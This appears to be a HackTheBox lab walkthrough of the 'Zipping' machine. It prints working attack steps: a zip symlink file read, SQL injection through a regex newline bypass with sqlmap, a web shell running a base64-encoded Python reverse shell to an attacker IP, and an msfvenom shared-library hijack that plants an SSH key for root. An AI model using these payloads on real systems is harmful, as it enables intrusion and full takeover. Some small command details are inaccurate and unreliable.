HTB - Zipping
Summary
Zipping is a medium difficulty machine. The website has a zip symlink vulnerability, which allows us to read files on the server. From there, we have access to the source code, and discover an SQL injection vulnerability which allows us to get a shell. Getting root was a lot simpler, where we perform basic analysis on a binary to upload our own SSH key to gain access.
When I first did this box, there was an unintended solution where you could get a reverse shell directly through the zip file upload. This was eventually patched.
User
Nmap scan
gobuster
We visit the website, and there are two pages of interest, the shop and “Work with Us”. The latter allows us to upload files, where it is expecting a zip file, and the content in the zipped file must have a PDF extension.
Because we know that website uses PHP, we try uploading a PHP script.
Renaming a PHP file with .pdf
extension and zipping it will bypass the check.
I wrote a PHP script to get /etc/passwd
but it returned PD9waHAgZWNobyBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9wYXNzd2QnKTsgPz4K
in the response.
Throwing this into CyberChef shows that the website literally reads the file’s content and returns it in base64.
Googling for zip-related vulnerabilities online, you will find something on symlinks. By exploiting the symlink zipfile vulnerability, we are able to read a file on the server when we do a web request.
To read /etc/passwd
:
ln -s /etc/passwd passwd.pdf
zip --symlinks passwd.zip passwd.pdf
Upload the zip, and you will see /etc/passwd
in the response.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:104:110:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
rektsu:x:1001:1001::/home/rektsu:/bin/bash
mysql:x:107:115:MySQL Server,,,:/nonexistent:/bin/false
_laurel:x:999:999::/var/log/laurel:/bin/false
We can now read other files on the server.
At this point, you can just read the user flag.
ln -s /home/rektsu/user.txt flag.pdf
zip --symlinks flag.zip flag.pdf
I did this manually and with a bit of guessing to get the code, but you should use a script for this.
<?php
session_start();
// Include functions and connect to the database using PDO MySQL
include 'functions.php';
$pdo = pdo_connect_mysql();
// Page is set to home (home.php) by default, so when the visitor visits, that will be the page they see.
$page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home';
// Include and show the requested page
include $page . '.php';
?>
If we look at /var/www/html/shop/index.php
, we see that the page will get another PHP file on the server by adding the page
parameter.
We can try this with ?page=../upload
, it returns the page for uploading the zip file.
If we look at /var/www/html/shop/product.php
, we can see that the regex filter does not check for newlines and the string must end with a digit.
<?php
// Check to make sure the id parameter is specified in the URL
if (isset($_GET['id'])) {
$id = $_GET['id'];
// Filtering user input for letters or special characters
if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) {
header('Location: index.php');
} else {
// Prepare statement and execute, but does not prevent SQL injection
$stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'");
$stmt->execute();
// Fetch the product from the database and return the result as an Array
$product = $stmt->fetch(PDO::FETCH_ASSOC);
// Check if the product exists (array is not empty)
if (!$product) {
// Simple error to display if the id for the product doesn't exists (array is empty)
exit('Product does not exist!');
}
}
} else {
// Simple error to display if the id wasn't specified
exit('No ID provided!');
}
?>
<?=template_header('Zipping | Product')?>
<div class="product content-wrapper">
<img src="assets/imgs/<?=$product['img']?>" width="500" height="500" alt="<?=$product['name']?>">
<div>
<h1 class="name"><?=$product['name']?></h1>
<span class="price">
$<?=$product['price']?>
<?php if ($product['rrp'] > 0): ?>
<span class="rrp">$<?=$product['rrp']?></span>
<?php endif; ?>
</span>
<form action="index.php?page=cart" method="post">
<input type="number" name="quantity" value="1" min="1" max="<?=$product['quantity']?>" placeholder="Quantity" required>
<input type="hidden" name="product_id" value="<?=$product['id']?>">
<input type="submit" value="Add To Cart">
</form>
<div class="description">
<?=$product['desc']?>
</div>
</div>
</div>
<?=template_footer()?>
We test for SQL injection of the product page with the parameters:
?page=product&id=1
?page=product&id=test
?page=product&id=%0a%d
?page=product&id=%0a%d3
The 1st and 4th tests pass, and returns the product’s page, which means the id
parameter is vulnerable.
Fire up sqlmap and we get a mysql shell.
sqlmap -u "http://zipping.htb/shop/index.php?page=product&id=1" --fresh-queries -prefix="%0A%0D" --sufix="'1" -p id --dbms mysql --level 2 --risk 2 --sql-shell --time-sec 1 --batch
We upload a reverse shell. I tried bash and PHP reverse shells, but they didn’t work. Using a python reverse shell worked.
select "<?php system('echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE2LjY3Iiw5MDAxKSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigic2giKSc|base64 -d|bash'); ?>" INTO OUTFILE '/var/lib/mysql/shell.php%00';
On our attacking machine:
nc -lvnp 9001
We can upload our own SSH key to the machine at this point.
On the attacking machine:
ssh-keygen -b 1024 -f rektsu
Then, write the public key to ~/.ssh/authorized_hosts
on the machine.
SSH as user:
ssh -i rektsu rektsu@zipping.htb
Patched Unintended Solution
You can insert a null byte to the file name to get the server to execute PHP.
Zipping file.php%00.pdf
shows that %00
is not being interpreted as null byte character.
We can insert a placeholder character, and use a hex editor to insert the null byte to bypass this.
We name the file file.php4.pdf
, and replace the hex byte value of 4 with 00
.
Before this was patched, you could upload a reverse shell using this method. I left this in here, because I thought it was interesting :D
Root
As usual, run sudo -l
, and we see that we can run /usr/bin/stock
as root.
If we run this binary, it asks for a password.
We download this to our host machine for analysis.
scp -i rektsu@zipping.htb:/usr/bin/stock .
Fire up Ghidra and decompile the main function.
We see that the password check is being handled by checkAuth
.
Decompile checkAuth
, and you will find the password St0ckM4nager
.
We enter the password, and see that we have options to see, and edit stocks. Nothing interesting here.
We use strace
to look for interesting system calls.
write(1, "Enter the password: ", 20Enter the password: ) = 20
read(0, St0ckM4nager
"St0ckM4nager\n", 1024) = 13
openat(AT_FDCWD, "/home/rektsu/.config/libcounter.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
write(1, "\n================== Menu ======="..., 44
================== Menu ==================
The binary is trying to call a library file at libcounter.so
which does not exists.
We can exploit this by uploading our own libcounter.so
to the machine.
Create the payload to upload our SSH to root:
msfvenom -p linux/x64/exec CMD="echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDcn+u2heXxxJjW+iabNfN/t3cCFuD5Vx3FDciQR+o51fE0Z27ncDfulF9PSMFPNL9W0eYUIUUE9jJa+8mXi9/CPnSnbr2VYYE19r2lpdmbCyRdH29up3F9Or1gBu6kWd99gYTrAna92DV1frUN88gZg7lIT8150/S6sF+lKxmqAw== > /root/.ssh/authorized_keys" -f elf-so -o libcounter.so
Then we can SSH into the machine as root with our created SSH key and get the flag.